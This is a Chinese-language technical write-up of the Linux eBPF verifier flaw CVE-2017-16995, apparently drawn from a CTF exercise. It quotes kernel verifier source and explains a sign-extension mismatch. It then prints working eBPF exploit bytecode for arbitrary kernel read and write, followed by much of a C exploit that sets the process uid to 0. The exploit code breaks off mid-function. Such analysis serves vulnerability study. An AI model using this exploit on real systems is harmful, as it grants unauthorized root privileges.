CVE-2017-16995漏洞分析

CVE-2017-16995特定内核提权漏洞分析

前言

这个漏洞于2017年12月21号Google Project Zero团队的Jann Horn发现并报告的,编号为CVE-2017-16995,然而在2018年4月再次被国外安全研究者Vitaly Nikolenko发现,并可以对特定内核版本的Ubuntu 16.04进行提权。

这个漏洞没有使用传统的漏洞利用方式,没有使用堆栈。看了P4nda师傅的文章,里面说是使用一种叫Data-Oriented Attacks的攻击方式。

本文是基于v4.4.110内核,其实是因为有现成的ctf题目,封装好的内核,哈哈哈哈。

在此感谢P4nda师傅和rebeyond师傅,如果文章有什么错误,看到的师傅们记得提醒一下菜鸡。

漏洞简介和前置知识

该漏洞仍然是基于ebpf模块的漏洞,其主要成因是在对输入的ebpf指令判断时和真实执行时,没有考虑到位扩展的问题,导致在校验和真实执行是代码不一致。
ebpf模块:前身是bpf模块,本身是用于包过滤的一个过滤器,包涵自己特有的一种指令集EBPF,主要可以为用户加载数据包过滤代码进入内核,并在收到数据包时触发这段代码。但是ebpf模块又不仅仅只是用来作为过滤器。内核的bpf支持是一种基础架构。仅仅是一种中间代码的表达方式。是作为向用户空间提供一个向内核注入可运行代码的公共接口。这些注入的代码可以通过事件(如往socket写数据)来触发。这里用的就是向socket写数据。
bpf程序的加载的流程
1.用户程序调用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申请创建一个map,在attr结构体中指定map的类型、大小、最大容量等属性。map类似是内核和用户交互的一块空间。
2.用户程序调用syscall(__NR_bpf, BPF_PROG_LOAD,&attr, sizeof(attr))来将我们写的BPF代码加载进内核,在加载之前会利用虚拟执行的方式来做安全性校验。安全校验通过后,程序被成功加载至内核,后续真正执行时,不再重复做检查。
3.用户程序调用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)来将我们的bpf程序绑定在一个socket上。

其他函数:利用int socketpair(int d, int type, int protocol, int sv[2])可以创建一个socket(套接字),分别连接两个进程。在map建立完成之后,用户程序可以通过syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr))查看map中数据,也可以通过syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr))对map数据进行更新。
ebpf指令集
基本的指令格式:

struct bpf_insn {
	__u8	code;		/* 操作码 */
	__u8	dst_reg:4;	/* 目标寄存器 */
	__u8	src_reg:4;	/* 源寄存器 */
	__s16	off;		/* 偏移地址 */
	__s32	imm;		/* 立即值 */
};

寄存器:

R0:一般用来表示函数返回值,包括整个 BPF 代码块(其实也可被看做一个函数)的返回值;
R1~R5:一般用于表示内核预设函数的参数;
R6~R9:在 BPF 代码中可以作存储用,其值不受内核预设函数影响;
R10:只读,用作栈顶指针(SP)
在x86-64下,寄存器的映射方法如下:
   R0 - rax
   R1 - rdi
   R2 - rsi
   R3 - rdx
   R4 - rcx
   R5 - r8
   R6 - rbx
   R7 - r13
   R8 - r14
   R9 - r15
   R10 – rbp

基本的操作码(code):
特别注意BPF_LD\LDX和BPF_ST\STX这两个指令
BPF_LD\LDX:把源寄存器的值作为地址取值放到目标寄存器
类似mov dword ptr[r7],r8
BPF_ST\STX:把源寄存器的值放到目标寄存器的值指向的位置
类似mov r8,dword ptr[r7]
详细信息可以查源码
ebpf代码执行时会调用这里

#define BPF_CLASS(code) ((code) & 0x07)
#define		BPF_LD		0x00               
#define		BPF_LDX		0x01
#define		BPF_ST		0x02               
#define		BPF_STX		0x03
#define		BPF_ALU		0x04
#define		BPF_JMP		0x05
#define		BPF_RET		0x06
#define		BPF_MISC        0x07

例子

二进制代码:
\xb4\x09\x00\x00\xff\xff\xff\xff
翻译后:
ALU_MOV_K(9,0,0x0,0xffffffff)
解释:
[BPF_ALU | BPF_MOV | BPF_K] = &&ALU_MOV_K
查看源代码:
0xb4 = BPF_ALU | BPF_MOV = 0x04 | 0xb0
0x09 = r9寄存器
0xffffffff = 立即数值
含义就是:
mov r9,0xffffffff

漏洞分析

加载和检验过程

首先放两个主要设计到的结构体(我们使用的是BPF_PROG_LOAD):

union bpf_attr {
	struct { /* anonymous struct used by BPF_MAP_CREATE command */
		__u32	map_type;	/* one of enum bpf_map_type */
		__u32	key_size;	/* size of key in bytes */
		__u32	value_size;	/* size of value in bytes */
		__u32	max_entries;	/* max number of entries in a map */
	};

	struct { /* anonymous struct used by BPF_MAP_*_ELEM commands */
		__u32		map_fd;
		__aligned_u64	key;
		union {
			__aligned_u64 value;
			__aligned_u64 next_key;
		};
		__u64		flags;
	};

	struct { /* anonymous struct used by BPF_PROG_LOAD command */
		__u32		prog_type;	/* one of enum bpf_prog_type */
		__u32		insn_cnt;
		__aligned_u64	insns;
		__aligned_u64	license;
		__u32		log_level;	/* verbosity level of verifier */
		__u32		log_size;	/* size of user buffer */
		__aligned_u64	log_buf;	/* user supplied buffer */
		__u32		kern_version;	/* checked when prog_type=kprobe */
	};

	struct { /* anonymous struct used by BPF_OBJ_* commands */
		__aligned_u64	pathname;
		__u32		bpf_fd;
	};
} __attribute__((aligned(8)));
struct bpf_prog {
	u16			pages;		/* Number of allocated pages */
	kmemcheck_bitfield_begin(meta);
	u16			jited:1,	/* Is our filter JIT'ed? */
				gpl_compatible:1, /* Is filter GPL compatible? */
				cb_access:1,	/* Is control block accessed? */
				dst_needed:1;	/* Do we need dst entry? */
	kmemcheck_bitfield_end(meta);
	u32			len;		/* 写入指令的数量 */
	enum bpf_prog_type	type;		/* Type of BPF program */
	struct bpf_prog_aux	*aux;		/* Auxiliary fields */
	struct sock_fprog_kern	*orig_prog;	/* Original BPF program */
	unsigned int		(*bpf_func)(const struct sk_buff *skb,
					    const struct bpf_insn *filter);
	/* 存储着我们写入的指令 */
	union {
		struct sock_filter	insns[0];
		struct bpf_insn		insnsi[0];
	};
};

我们这次漏洞发生的主要位置是在程序加载的校验和真实执行时的不同,所以进入bpf_prog_load函数看一下
[1]:验证GPL证书
[2]:在内核中为ebpf程序开辟内存空间
[3]:把ebpf程序拷贝到内核空间
[4]:检查ebpf程序,也是我们的漏洞点所在处

static int bpf_prog_load(union bpf_attr *attr)
{
	enum bpf_prog_type type = attr->prog_type;
	struct bpf_prog *prog;
	int err;
	char license[128];
	bool is_gpl;

	if (CHECK_ATTR(BPF_PROG_LOAD))
		return -EINVAL;

	/* copy eBPF program license from user space */
	if (strncpy_from_user(license, u64_to_ptr(attr->license),
			      sizeof(license) - 1) < 0)
		return -EFAULT;
	license[sizeof(license) - 1] = 0;

	/* eBPF programs must be GPL compatible to use GPL-ed functions */
	is_gpl = license_is_gpl_compatible(license);                     //[1]

	if (attr->insn_cnt >= BPF_MAXINSNS)
		return -EINVAL;

	if (type == BPF_PROG_TYPE_KPROBE &&
	    attr->kern_version != LINUX_VERSION_CODE)
		return -EINVAL;

	if (type != BPF_PROG_TYPE_SOCKET_FILTER && !capable(CAP_SYS_ADMIN))
		return -EPERM;

	/* plain bpf_prog allocation */
	prog = bpf_prog_alloc(bpf_prog_size(attr->insn_cnt), GFP_USER);    //[2]
	if (!prog)
		return -ENOMEM;

	err = bpf_prog_charge_memlock(prog);
	if (err)
		goto free_prog_nouncharge;

	prog->len = attr->insn_cnt;

	err = -EFAULT;
	if (copy_from_user(prog->insns, u64_to_ptr(attr->insns),        //[3]
			   prog->len * sizeof(struct bpf_insn)) != 0)
		goto free_prog;

	prog->orig_prog = NULL;
	prog->jited = 0;

	atomic_set(&prog->aux->refcnt, 1);
	prog->gpl_compatible = is_gpl ? 1 : 0;

	/* find program type: socket_filter vs tracing_filter */
	err = find_prog_type(type, prog);
	if (err < 0)
		goto free_prog;

	/* run eBPF verifier */
	err = bpf_check(&prog, attr);                                   //[4]
	if (err < 0)
		goto free_used_maps;

	/* fixup BPF_CALL->imm field */
	fixup_bpf_calls(prog);

	/* eBPF program is ready to be JITed */
	err = bpf_prog_select_runtime(prog);
	if (err < 0)
		goto free_used_maps;

	err = bpf_prog_new_fd(prog);
	if (err < 0)
		/* failed to allocate fd */
		goto free_used_maps;

	return err;

free_used_maps:
	free_used_maps(prog->aux);
free_prog:
	bpf_prog_uncharge_memlock(prog);
free_prog_nouncharge:
	bpf_prog_free(prog);
	return err;
}

我们进入关键的函数bpf_check
[1]:根据env,找到真实的map地址
[2]:借用了程序控制流图的思路来检查这个EBPF程序中是否有死循环和跳转到未初始化的位置,造成无法预期的风险
[3]:模仿真实执行的步骤,来进行校验
结构体:

struct verifier_env {
	struct bpf_prog *prog;		/* eBPF program being verified */
	struct verifier_stack_elem *head; /* stack of verifier states to be processed */
	int stack_size;			/* number of states to be processed */
	struct verifier_state cur_state; /* current verifier state */
	struct verifier_state_list **explored_states; /* search pruning optimization */
	struct bpf_map *used_maps[MAX_USED_MAPS]; /* array of map's used by eBPF program */
	u32 used_map_cnt;		/* number of used maps */
	bool allow_ptr_leaks;
};

函数:

int bpf_check(struct bpf_prog **prog, union bpf_attr *attr)
{
	char __user *log_ubuf = NULL;
	struct verifier_env *env;
	int ret = -EINVAL;

	if ((*prog)->len <= 0 || (*prog)->len > BPF_MAXINSNS)
		return -E2BIG;

	/* 'struct verifier_env' can be global, but since it's not small,
	 * allocate/free it every time bpf_check() is called
	 */
	env = kzalloc(sizeof(struct verifier_env), GFP_KERNEL);
	if (!env)
		return -ENOMEM;

	env->prog = *prog;

	/* grab the mutex to protect few globals used by verifier */
	mutex_lock(&bpf_verifier_lock);

	if (attr->log_level || attr->log_buf || attr->log_size) {
		/* user requested verbose verifier output
		 * and supplied buffer to store the verification trace
		 */
		log_level = attr->log_level;
		log_ubuf = (char __user *) (unsigned long) attr->log_buf;
		log_size = attr->log_size;
		log_len = 0;

		ret = -EINVAL;
		/* log_* values have to be sane */
		if (log_size < 128 || log_size > UINT_MAX >> 8 ||
		    log_level == 0 || log_ubuf == NULL)
			goto free_env;

		ret = -ENOMEM;
		log_buf = vmalloc(log_size);
		if (!log_buf)
			goto free_env;
	} else {
		log_level = 0;
	}

	ret = replace_map_fd_with_map_ptr(env);                   //[1]
	if (ret < 0)
		goto skip_full_check;

	env->explored_states = kcalloc(env->prog->len,
				       sizeof(struct verifier_state_list *),
				       GFP_USER);
	ret = -ENOMEM;
	if (!env->explored_states)
		goto skip_full_check;

	ret = check_cfg(env);                                   //[2]
	if (ret < 0)
		goto skip_full_check;

	env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);

	ret = do_check(env);                                    //[3]

skip_full_check:
	while (pop_stack(env, NULL) >= 0);
	free_states(env);

	if (ret == 0)
		/* program is valid, convert *(u32*)(ctx + off) accesses */
		ret = convert_ctx_accesses(env);

	if (log_level && log_len >= log_size - 1) {
		BUG_ON(log_len >= log_size);
		/* verifier log exceeded user supplied buffer */
		ret = -ENOSPC;
		/* fall through to return what was recorded */
	}

	/* copy verifier log back to user space including trailing zero */
	if (log_level && copy_to_user(log_ubuf, log_buf, log_len + 1) != 0) {
		ret = -EFAULT;
		goto free_log_buf;
	}

	if (ret == 0 && env->used_map_cnt) {
		/* if program passed verifier, update used_maps in bpf_prog_info */
		env->prog->aux->used_maps = kmalloc_array(env->used_map_cnt,
							  sizeof(env->used_maps[0]),
							  GFP_KERNEL);

		if (!env->prog->aux->used_maps) {
			ret = -ENOMEM;
			goto free_log_buf;
		}

		memcpy(env->prog->aux->used_maps, env->used_maps,
		       sizeof(env->used_maps[0]) * env->used_map_cnt);
		env->prog->aux->used_map_cnt = env->used_map_cnt;

		/* program is valid. Convert pseudo bpf_ld_imm64 into generic
		 * bpf_ld_imm64 instructions
		 */
		convert_pseudo_ld_imm64(env);
	}

free_log_buf:
	if (log_level)
		vfree(log_buf);
free_env:
	if (!env->prog->aux->used_maps)
		/* if we didn't copy map pointers into bpf_prog_info, release
		 * them now. Otherwise free_bpf_prog_info() will release them.
		 */
		release_maps(env);
	*prog = env->prog;
	kfree(env);
	mutex_unlock(&bpf_verifier_lock);
	return ret;
}

接下来进入我们的校验函数,也是最关键的漏洞存在函数do_check由于这个函数有点长,我们拆解开来分析
这部分是准备部分:
[1]:这里可以看到整个代码处于无限循环中

static int do_check(struct verifier_env *env)
{
	struct verifier_state *state = &env->cur_state;
	struct bpf_insn *insns = env->prog->insnsi;
	struct reg_state *regs = state->regs;
	int insn_cnt = env->prog->len;
	int insn_idx, prev_insn_idx = 0;
	int insn_processed = 0;
	bool do_print_state = false;

	init_reg_state(regs);
	insn_idx = 0;
	for (;;) {                                  //[1]
		struct bpf_insn *insn;
		u8 class;
		int err;

		if (insn_idx >= insn_cnt) {
			verbose("invalid insn idx %d insn_cnt %d\n",
				insn_idx, insn_cnt);
			return -EFAULT;
		}

		insn = &insns[insn_idx];
		class = BPF_CLASS(insn->code);

		if (++insn_processed > 32768) {
			verbose("BPF program is too large. Proccessed %d insn\n",
				insn_processed);
			return -E2BIG;
		}

		err = is_state_visited(env, insn_idx);
		if (err < 0)
			return err;
		if (err == 1) {
			/* found equivalent state, can prune the search */
			if (log_level) {
				if (do_print_state)
					verbose("\nfrom %d to %d: safe\n",
						prev_insn_idx, insn_idx);
				else
					verbose("%d: safe\n", insn_idx);
			}
			goto process_bpf_exit;
		}

		if (log_level && do_print_state) {
			verbose("\nfrom %d to %d:", prev_insn_idx, insn_idx);
			print_verifier_state(env);
			do_print_state = false;
		}

		if (log_level) {
			verbose("%d: ", insn_idx);
			print_bpf_insn(env, insn);
		}

然后是根据我们写入的代码,依次从二进制层面上拆解,我上面在前置知识中举过例子,一句bpf指令的操作码在执行的时候分为三个部分,详细见这里和do_check()源代码所以这里就先从第一部分开始
首先是ALU部分

		if (class == BPF_ALU || class == BPF_ALU64) {
			err = check_alu_op(env, insn);
			if (err)
				return err;

		}

其次是LDX部分

else if (class == BPF_LDX) {
			enum bpf_reg_type src_reg_type;

			/* check for reserved fields is already done */

			/* check src operand */
			err = check_reg_arg(regs, insn->src_reg, SRC_OP);
			if (err)
				return err;

			err = check_reg_arg(regs, insn->dst_reg, DST_OP_NO_MARK);
			if (err)
				return err;

			src_reg_type = regs[insn->src_reg].type;

			/* check that memory (src_reg + off) is readable,
			 * the state of dst_reg will be updated by this func
			 */
			err = check_mem_access(env, insn->src_reg, insn->off,
					       BPF_SIZE(insn->code), BPF_READ,
					       insn->dst_reg);
			if (err)
				return err;

			if (BPF_SIZE(insn->code) != BPF_W) {
				insn_idx++;
				continue;
			}

			if (insn->imm == 0) {
				/* saw a valid insn
				 * dst_reg = *(u32 *)(src_reg + off)
				 * use reserved 'imm' field to mark this insn
				 */
				insn->imm = src_reg_type;

			} else if (src_reg_type != insn->imm &&
				   (src_reg_type == PTR_TO_CTX ||
				    insn->imm == PTR_TO_CTX)) {
				/* ABuser program is trying to use the same insn
				 * dst_reg = *(u32*) (src_reg + off)
				 * with different pointer types:
				 * src_reg == ctx in one branch and
				 * src_reg == stack|map in some other branch.
				 * Reject it.
				 */
				verbose("same insn cannot be used with different pointers\n");
				return -EINVAL;
			}

		} 

后面还有一些,我们就不一一列举了,想看的可以直接看源代码,我们来看漏洞点的地方,即BPF_JMP部分,我们可以看到,如果要退出整个循环,要么代码出错,要么在pop_stack()函数时,发现整个程序已经执行完了,如果遇到特定的选择语句(第二个是参数是BPF_JNE这种),就会进入check_cond_jmp_op来进行判断。

 else if (class == BPF_JMP) {
			u8 opcode = BPF_OP(insn->code);

			if (opcode == BPF_CALL) {
				if (BPF_SRC(insn->code) != BPF_K ||
				    insn->off != 0 ||
				    insn->src_reg != BPF_REG_0 ||
				    insn->dst_reg != BPF_REG_0) {
					verbose("BPF_CALL uses reserved fields\n");
					return -EINVAL;
				}

				err = check_call(env, insn->imm);
				if (err)
					return err;

			} else if (opcode == BPF_JA) {
				if (BPF_SRC(insn->code) != BPF_K ||
				    insn->imm != 0 ||
				    insn->src_reg != BPF_REG_0 ||
				    insn->dst_reg != BPF_REG_0) {
					verbose("BPF_JA uses reserved fields\n");
					return -EINVAL;
				}

				insn_idx += insn->off + 1;
				continue;

			} else if (opcode == BPF_EXIT) {
				if (BPF_SRC(insn->code) != BPF_K ||
				    insn->imm != 0 ||
				    insn->src_reg != BPF_REG_0 ||
				    insn->dst_reg != BPF_REG_0) {
					verbose("BPF_EXIT uses reserved fields\n");
					return -EINVAL;
				}

				/* eBPF calling convetion is such that R0 is used
				 * to return the value from eBPF program.
				 * Make sure that it's readable at this time
				 * of bpf_exit, which means that program wrote
				 * something into it earlier
				 */
				err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
				if (err)
					return err;

				if (is_pointer_value(env, BPF_REG_0)) {
					verbose("R0 leaks addr as return value\n");
					return -EACCES;
				}

process_bpf_exit:
				insn_idx = pop_stack(env, &prev_insn_idx);
				if (insn_idx < 0) {
					break;
				} else {
					do_print_state = true;
					continue;
				}
			} else {
				err = check_cond_jmp_op(env, insn, &insn_idx);
				if (err)
					return err;
			}
		}

我们进入check_cond_jmp_op函数看一看,代码很长,但是主要功能就是在一个条件成立时,这里判断是否相等时(这儿判断时都是u32位的),直接将其下一句push进栈中,不检查条件失败时的语句。

static int check_cond_jmp_op(struct verifier_env *env,
			     struct bpf_insn *insn, int *insn_idx)
{
	struct reg_state *regs = env->cur_state.regs;
	struct verifier_state *other_branch;
	u8 opcode = BPF_OP(insn->code);
	int err;

	if (opcode > BPF_EXIT) {
		verbose("invalid BPF_JMP opcode %x\n", opcode);
		return -EINVAL;
	}

	if (BPF_SRC(insn->code) == BPF_X) {
		if (insn->imm != 0) {
			verbose("BPF_JMP uses reserved fields\n");
			return -EINVAL;
		}

		/* check src1 operand */
		err = check_reg_arg(regs, insn->src_reg, SRC_OP);
		if (err)
			return err;

		if (is_pointer_value(env, insn->src_reg)) {
			verbose("R%d pointer comparison prohibited\n",
				insn->src_reg);
			return -EACCES;
		}
	} else {
		if (insn->src_reg != BPF_REG_0) {
			verbose("BPF_JMP uses reserved fields\n");
			return -EINVAL;
		}
	}

	/* check src2 operand */
	err = check_reg_arg(regs, insn->dst_reg, SRC_OP);
	if (err)
		return err;

	/* detect if R == 0 where R was initialized to zero earlier */
	if (BPF_SRC(insn->code) == BPF_K &&
	    (opcode == BPF_JEQ || opcode == BPF_JNE) &&
	    regs[insn->dst_reg].type == CONST_IMM &&
	    regs[insn->dst_reg].imm == insn->imm) {
		if (opcode == BPF_JEQ) {
			/* if (imm == imm) goto pc+off;
			 * only follow the goto, ignore fall-through
			 */
			*insn_idx += insn->off;
			return 0;
		} else {
			/* if (imm != imm) goto pc+off;
			 * only follow fall-through branch, since
			 * that's where the program will go
			 */
			return 0;
		}
	}

	other_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx);
	if (!other_branch)
		return -EFAULT;

	/* detect if R == 0 where R is returned value from bpf_map_lookup_elem() */
	if (BPF_SRC(insn->code) == BPF_K &&
	    insn->imm == 0 && (opcode == BPF_JEQ ||
			       opcode == BPF_JNE) &&
	    regs[insn->dst_reg].type == PTR_TO_MAP_VALUE_OR_NULL) {
		if (opcode == BPF_JEQ) {
			/* next fallthrough insn can access memory via
			 * this register
			 */
			regs[insn->dst_reg].type = PTR_TO_MAP_VALUE;
			/* branch targer cannot access it, since reg == 0 */
			other_branch->regs[insn->dst_reg].type = CONST_IMM;
			other_branch->regs[insn->dst_reg].imm = 0;
		} else {
			other_branch->regs[insn->dst_reg].type = PTR_TO_MAP_VALUE;
			regs[insn->dst_reg].type = CONST_IMM;
			regs[insn->dst_reg].imm = 0;
		}
	} else if (is_pointer_value(env, insn->dst_reg)) {
		verbose("R%d pointer comparison prohibited\n", insn->dst_reg);
		return -EACCES;
	} else if (BPF_SRC(insn->code) == BPF_K &&
		   (opcode == BPF_JEQ || opcode == BPF_JNE)) {

		if (opcode == BPF_JEQ) {
			/* detect if (R == imm) goto
			 * and in the target state recognize that R = imm
			 */
			other_branch->regs[insn->dst_reg].type = CONST_IMM;
			other_branch->regs[insn->dst_reg].imm = insn->imm;
		} else {
			/* detect if (R != imm) goto
			 * and in the fall-through state recognize that R = imm
			 */
			regs[insn->dst_reg].type = CONST_IMM;
			regs[insn->dst_reg].imm = insn->imm;
		}
	}
	if (log_level)
		print_verifier_state(env);
	return 0;
}

执行过程

进入__bpf_prog_run函数,发现
执行JMP_JNE_K等判断语句的时候,用的DST是u64(是被源代码中的tmp参数赋值的),但是IMM确是s32,所以在真实执行,会与加载时不同。漏洞出现

#define DST	regs[insn->dst_reg]
u64 regs[MAX_BPF_REG], tmp;
	JMP_JNE_K:
		if (DST != IMM) {
			insn += insn->off;
			CONT_JMP;
		}
		CONT;

漏洞利用

核心代码分析
漏洞利用的核心代码这儿,主要是通过前4句代码,通过检测,然后在真实执行时,执行后续代码.
使用map[0]作为操作号,map[1]和map[2]作为操作数,map是可读可写的。
功能一:map[0]=0时,将map[1]中地址所指的内容放入map[2]
功能二:map[0]=1时,将栈地址rbp的值写入map[2]
功能三:map[0]=2时,map[2]的值写入map[1]地址所指的内容中

		"\xb4\x09\x00\x00\xff\xff\xff\xff"                             //mov r9,0xffffffff
		"\x55\x09\x02\x00\xff\xff\xff\xff"                             //if r9=0xffffffff jmp [0]
		"\xb7\x00\x00\x00\x00\x00\x00\x00"                             
		"\x95\x00\x00\x00\x00\x00\x00\x00"                             //exit()通过ebpf的检验,只要执行前4行,即成功通过
		"\x18\x19\x00\x00\x03\x00\x00\x00"                             //r9=mapfd
		"\x00\x00\x00\x00\x00\x00\x00\x00"                             //padding
		"\xbf\x91\x00\x00\x00\x00\x00\x00"                             //r1=r9,[1]接下来8行主要功能是r6=map[0]
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"                             //r2=rbp                             
		"\x07\x02\x00\x00\xfc\xff\xff\xff"                             //r2 = r2-4
		"\x62\x0a\xfc\xff\x00\x00\x00\x00"                             //[rbp+(-4)] = 0
		"\x85\x00\x00\x00\x01\x00\x00\x00"                             //call BPF_FUNC_map_lookup_elem
		"\x55\x00\x01\x00\x00\x00\x00\x00"                             //if r0== 0:
		"\x95\x00\x00\x00\x00\x00\x00\x00"                             //exit(0)
		"\x79\x06\x00\x00\x00\x00\x00\x00"                             //r6=map[0]
		"\xbf\x91\x00\x00\x00\x00\x00\x00"                             //[2],接下来8行主要功能是r7=map[1]
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x01\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x07\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"                               //[3],接下来8行主要功能是r8=map[2]
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x02\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x08\x00\x00\x00\x00\x00\x00"
		"\xbf\x02\x00\x00\x00\x00\x00\x00"                               //r2=r0     从这里往下根据map[0](即r6)的值来执行代码
		"\xb7\x00\x00\x00\x00\x00\x00\x00"                               //r0=0
		"\x55\x06\x03\x00\x00\x00\x00\x00"                               //if r6!=0 jmpto if r6!=1
		"\x79\x73\x00\x00\x00\x00\x00\x00"                               //r3 = [r7]    指令一,任意读
		"\x7b\x32\x00\x00\x00\x00\x00\x00"                               //[r2]=r3
		"\x95\x00\x00\x00\x00\x00\x00\x00"                               //exit(0)
		"\x55\x06\x02\x00\x01\x00\x00\x00"                               //if r6!=1 jmpto [r7]=r8
		"\x7b\xa2\x00\x00\x00\x00\x00\x00"                               //[r2]=rbp     指令二,泄露栈地址
		"\x95\x00\x00\x00\x00\x00\x00\x00"                               //exit(0)
		"\x7b\x87\x00\x00\x00\x00\x00\x00"                               //[r7]=r8      指令三,任意写
		"\x95\x00\x00\x00\x00\x00\x00\x00";                              //exit(0)       

基本分析就是像前置知识中的例子一样一一分析。
利用思路
1.用上述代码的功能二,读取出内核栈的地址
2.通过偏移,计算出task_struct的地址,加上cred的偏移地址,并用功能一读取出cred的地址
3.cred地址加上uid的偏移,用功能一读出uid的地址
3.用功能三修改uid的值为0,成功提权

exp

这个exp是P4nda师傅的,我自己写的很乱。。。我加了些注解,方便理解,还有,注意不同系统偏移需要重新计算。

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
//偏移需要自己去计算
#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x9b8 //0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328 //-32

int sockets[2];
int mapfd, progfd;

//核心代码
char *__prog = 	"\xb4\x09\x00\x00\xff\xff\xff\xff"
		"\x55\x09\x02\x00\xff\xff\xff\xff"
		"\xb7\x00\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"                             //通过ebpf的检验,只要执行前4行,即成功通过
		"\x18\x19\x00\x00\x03\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"                             //1,r6=map[0]
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x00\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x06\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"                              //2,r7=map[1]
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x01\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x07\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"                               //3,r8=map[2]
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x02\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x08\x00\x00\x00\x00\x00\x00"
		"\xbf\x02\x00\x00\x00\x00\x00\x00"                               //r2=r0     从这里往下根据map[0](即r6)的值来执行代码
		"\xb7\x00\x00\x00\x00\x00\x00\x00"                               //r0=0
		"\x55\x06\x03\x00\x00\x00\x00\x00"                               //if r6!=0 jmpto if r6!=1
		"\x79\x73\x00\x00\x00\x00\x00\x00"                               //r3 = [r7]    指令一,任意读
		"\x7b\x32\x00\x00\x00\x00\x00\x00"                               //[r2]=r3
		"\x95\x00\x00\x00\x00\x00\x00\x00"                               //exit(0)
		"\x55\x06\x02\x00\x01\x00\x00\x00"                               //if r6!=1 jmpto [r7]=r8
		"\x7b\xa2\x00\x00\x00\x00\x00\x00"                               //[r2]=rbp     指令二,泄露栈地址
		"\x95\x00\x00\x00\x00\x00\x00\x00"                               //exit(0)
		"\x7b\x87\x00\x00\x00\x00\x00\x00"                               //[r7]=r8      指令三,任意写
		"\x95\x00\x00\x00\x00\x00\x00\x00";                              //exit(0)           

char bpf_log_buf[LOG_BUF_SIZE];
//封装一些bpf的操作,还有一些必要的结构体
static int bpf_prog_load(enum bpf_prog_type prog_type,
		  const struct bpf_insn *insns, int prog_len,
		  const char *license, int kern_version) {
	union bpf_attr attr = {
		.prog_type = prog_type,
		.insns = (__u64)insns,
		.insn_cnt = prog_len / sizeof(struct bpf_insn),
		.license = (__u64)license,
		.log_buf = (__u64)bpf_log_buf,
		.log_size = LOG_BUF_SIZE,
		.log_level = 1,
	};

	attr.kern_version = kern_version;

	bpf_log_buf[0] = 0;

	return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
		   int max_entries) {
	union bpf_attr attr = {
		.map_type = map_type,
		.key_size = key_size,
		.value_size = value_size,
		.max_entries = max_entries
	};

	return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (__u64)&key,
		.value = (__u64)&value,
		.flags = 0,
	};

	return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (__u64)key,
		.value = (__u64)value,
	};

	return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err) {
	fprintf(stderr, "error: %s\n", err);
	exit(-1);
}

//准备函数
static void prep(void) {
	mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);             //创建公共缓冲区map
	if (mapfd < 0)
		__exit(strerror(errno));
	puts("mapfd finished");
	progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,                                        //加载注入的代码进内核
			(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

	if (progfd < 0)
		__exit(strerror(errno));
	puts("bpf_prog_load finished");
	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))                                            //准备一个sockets作为套接口组,来进行通信
		__exit(strerror(errno));
